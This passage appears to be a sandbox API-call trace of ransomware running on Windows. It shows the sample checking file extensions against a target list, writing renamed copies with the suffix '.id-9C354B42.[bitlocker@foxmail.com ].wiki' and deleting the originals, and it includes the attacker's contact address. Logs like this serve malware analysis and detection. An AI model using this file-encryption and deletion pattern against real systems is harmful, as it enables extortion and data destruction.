Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0199.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.319] lstrlenW (lpString=".doc") returned 4 [0199.319] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.319] lstrlenW (lpString=".docx") returned 5 [0199.319] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0199.319] lstrlenW (lpString=".pdf") returned 4 [0199.319] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.319] lstrlenW (lpString=".xls") returned 4 [0199.319] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.319] lstrlenW (lpString=".xlsx") returned 5 [0199.319] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0199.319] lstrlenW (lpString=".ppt") returned 4 [0199.320] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString=".zip") returned 4 [0199.320] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.320] lstrlenW (lpString=".rar") returned 4 [0199.320] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.320] lstrlenW (lpString=".bz2") returned 4 [0199.320] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.320] lstrlenW (lpString=".7z") returned 3 [0199.320] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString=".dbf") returned 4 [0199.320] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString=".1cd") returned 4 [0199.320] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString=".jpg") returned 4 [0199.320] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.320] lstrlenW (lpString=".doc") returned 4 [0199.320] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.320] lstrlenW (lpString=".docx") returned 5 [0199.320] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0199.320] lstrlenW (lpString=".pdf") returned 4 [0199.321] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.321] lstrlenW (lpString=".xls") returned 4 [0199.321] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.321] lstrlenW (lpString=".xlsx") returned 5 [0199.321] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0199.321] lstrlenW (lpString=".ppt") returned 4 [0199.321] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.321] lstrlenW (lpString=".zip") returned 4 [0199.321] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.321] lstrlenW (lpString=".rar") returned 4 [0199.321] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.321] lstrlenW (lpString=".bz2") returned 4 [0199.321] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.321] lstrlenW (lpString=".7z") returned 3 [0199.321] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.321] lstrlenW (lpString=".dbf") returned 4 [0199.321] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.321] lstrlenW (lpString=".1cd") returned 4 [0199.321] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0199.321] lstrlenW (lpString=".jpg") returned 4 [0199.321] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.321] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.321] lstrlenW (lpString="J0182902.WMF") returned 12 [0199.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.322] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7822) returned 1 [0199.322] CloseHandle (hObject=0x1fc) returned 1 [0199.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 0x20 [0199.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.322] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.322] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.323] GetLastError () returned 0x0 [0199.323] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1e8e, lpOverlapped=0x0) returned 1 [0199.325] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1e90, lpOverlapped=0x0) returned 1 [0199.325] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.326] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.326] SetEndOfFile (hFile=0x1cc) returned 1 [0199.326] CloseHandle (hObject=0x1cc) returned 1 [0199.326] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.326] SetEndOfFile (hFile=0x1fc) returned 1 [0199.327] CloseHandle (hObject=0x1fc) returned 1 [0199.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0199.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.327] lstrlenW (lpString=".doc") returned 4 [0199.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.327] lstrlenW (lpString=".docx") returned 5 [0199.327] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.327] lstrlenW (lpString=".pdf") returned 4 [0199.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.327] lstrlenW (lpString=".xls") returned 4 [0199.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.328] lstrlenW (lpString=".xlsx") returned 5 [0199.328] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.328] lstrlenW (lpString=".ppt") returned 4 [0199.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString=".zip") returned 4 [0199.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.328] lstrlenW (lpString=".rar") returned 4 [0199.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString=".bz2") returned 4 [0199.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString=".7z") returned 3 [0199.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString=".dbf") returned 4 [0199.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString=".1cd") returned 4 [0199.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString=".jpg") returned 4 [0199.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.328] lstrlenW (lpString=".doc") returned 4 [0199.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.328] lstrlenW (lpString=".docx") returned 5 [0199.328] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.328] lstrlenW (lpString=".pdf") returned 4 [0199.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString=".xls") returned 4 [0199.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.329] lstrlenW (lpString=".xlsx") returned 5 [0199.329] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.329] lstrlenW (lpString=".ppt") returned 4 [0199.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.329] lstrlenW (lpString=".zip") returned 4 [0199.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.329] lstrlenW (lpString=".rar") returned 4 [0199.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString=".bz2") returned 4 [0199.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString=".7z") returned 3 [0199.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.329] lstrlenW (lpString=".dbf") returned 4 [0199.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.329] lstrlenW (lpString=".1cd") returned 4 [0199.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0199.329] lstrlenW (lpString=".jpg") returned 4 [0199.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.329] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.329] lstrlenW (lpString="J0182946.WMF") returned 12 [0199.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.330] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16082) returned 1 [0199.330] CloseHandle (hObject=0x1fc) returned 1 [0199.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 0x20 [0199.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.330] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.330] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.331] GetLastError () returned 0x0 [0199.331] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3ed2, lpOverlapped=0x0) returned 1 [0199.353] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3ee0, lpOverlapped=0x0) returned 1 [0199.354] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.354] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.354] SetEndOfFile (hFile=0x1cc) returned 1 [0199.354] CloseHandle (hObject=0x1cc) returned 1 [0199.354] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.354] SetEndOfFile (hFile=0x1fc) returned 1 [0199.355] CloseHandle (hObject=0x1fc) returned 1 [0199.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0199.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.356] lstrlenW (lpString=".doc") returned 4 [0199.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.356] lstrlenW (lpString=".docx") returned 5 [0199.356] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.356] lstrlenW (lpString=".pdf") returned 4 [0199.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.356] lstrlenW (lpString=".xls") returned 4 [0199.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.356] lstrlenW (lpString=".xlsx") returned 5 [0199.356] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.356] lstrlenW (lpString=".ppt") returned 4 [0199.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.356] lstrlenW (lpString=".zip") returned 4 [0199.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.356] lstrlenW (lpString=".rar") returned 4 [0199.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.356] lstrlenW (lpString=".bz2") returned 4 [0199.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.356] lstrlenW (lpString=".7z") returned 3 [0199.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString=".dbf") returned 4 [0199.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString=".1cd") returned 4 [0199.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString=".jpg") returned 4 [0199.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString=".doc") returned 4 [0199.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString=".docx") returned 5 [0199.357] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.357] lstrlenW (lpString=".pdf") returned 4 [0199.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString=".xls") returned 4 [0199.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.357] lstrlenW (lpString=".xlsx") returned 5 [0199.357] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.357] lstrlenW (lpString=".ppt") returned 4 [0199.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.357] lstrlenW (lpString=".zip") returned 4 [0199.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.357] lstrlenW (lpString=".rar") returned 4 [0199.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.358] lstrlenW (lpString=".bz2") returned 4 [0199.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.358] lstrlenW (lpString=".7z") returned 3 [0199.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.358] lstrlenW (lpString=".dbf") returned 4 [0199.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.358] lstrlenW (lpString=".1cd") returned 4 [0199.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0199.358] lstrlenW (lpString=".jpg") returned 4 [0199.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.358] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.358] lstrlenW (lpString="J0183172.WMF") returned 12 [0199.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.359] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29788) returned 1 [0199.359] CloseHandle (hObject=0x1fc) returned 1 [0199.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 0x20 [0199.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.360] GetLastError () returned 0x0 [0199.360] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x745c, lpOverlapped=0x0) returned 1 [0199.396] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7460, lpOverlapped=0x0) returned 1 [0199.398] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.398] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.398] SetEndOfFile (hFile=0x1cc) returned 1 [0199.398] CloseHandle (hObject=0x1cc) returned 1 [0199.398] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.398] SetEndOfFile (hFile=0x1fc) returned 1 [0199.399] CloseHandle (hObject=0x1fc) returned 1 [0199.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0199.400] lstrlenW (lpString=".doc") returned 4 [0199.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.400] lstrlenW (lpString=".docx") returned 5 [0199.400] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.400] lstrlenW (lpString=".pdf") returned 4 [0199.400] 